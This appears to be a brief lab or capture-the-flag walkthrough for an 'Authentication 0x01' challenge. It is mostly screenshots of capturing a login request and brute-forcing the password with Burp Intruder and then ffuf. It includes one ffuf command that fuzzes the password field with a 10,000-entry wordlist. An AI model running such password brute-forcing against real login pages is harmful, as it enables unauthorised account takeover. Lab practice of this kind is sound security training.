# Authentication 0x01

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfEtUy3WgJBE0HO7VY43O%2Fimage.png?alt=media&#x26;token=0de085d6-c0e2-429b-8667-5d70b76e580c" alt=""><figcaption></figcaption></figure>

Capture the request then sent it to intruder

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F4mq5sqJLhz4Y1BHiEg4Z%2Fimage.png?alt=media&#x26;token=0c947ede-56d0-4d79-9f27-ac4d04343554" alt=""><figcaption></figcaption></figure>

Choose 10k wordlist for password

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FYFZNUOHZiiQfSHMmlaHB%2Fimage.png?alt=media&#x26;token=865d3f85-bdc3-41f1-8f54-e0d211122bfd" alt=""><figcaption></figcaption></figure>

ORRRRRRRRR

just use ffuf like a normal being

click copy to file

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHvR6Nrh0nTmVgeSs1yxK%2Fimage.png?alt=media&#x26;token=49abe5d3-7809-4c53-9848-5f350ae39d14" alt=""><figcaption></figcaption></figure>

change password paramter to fuzz

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FyB4HQ9SRnOe4lq3gqCbF%2Fimage.png?alt=media&#x26;token=7bcfed7e-88f8-4a46-99b6-8e02ea091efd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/seclists/SecLists-master/Passwords/xato-net-10-million-passwords-10000.txt -fs 1814
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNcNrU16cql98TSixzn4Q%2Fimage.png?alt=media&#x26;token=0c38ad66-c396-4192-803b-fb147cfe4abf" alt=""><figcaption></figcaption></figure>
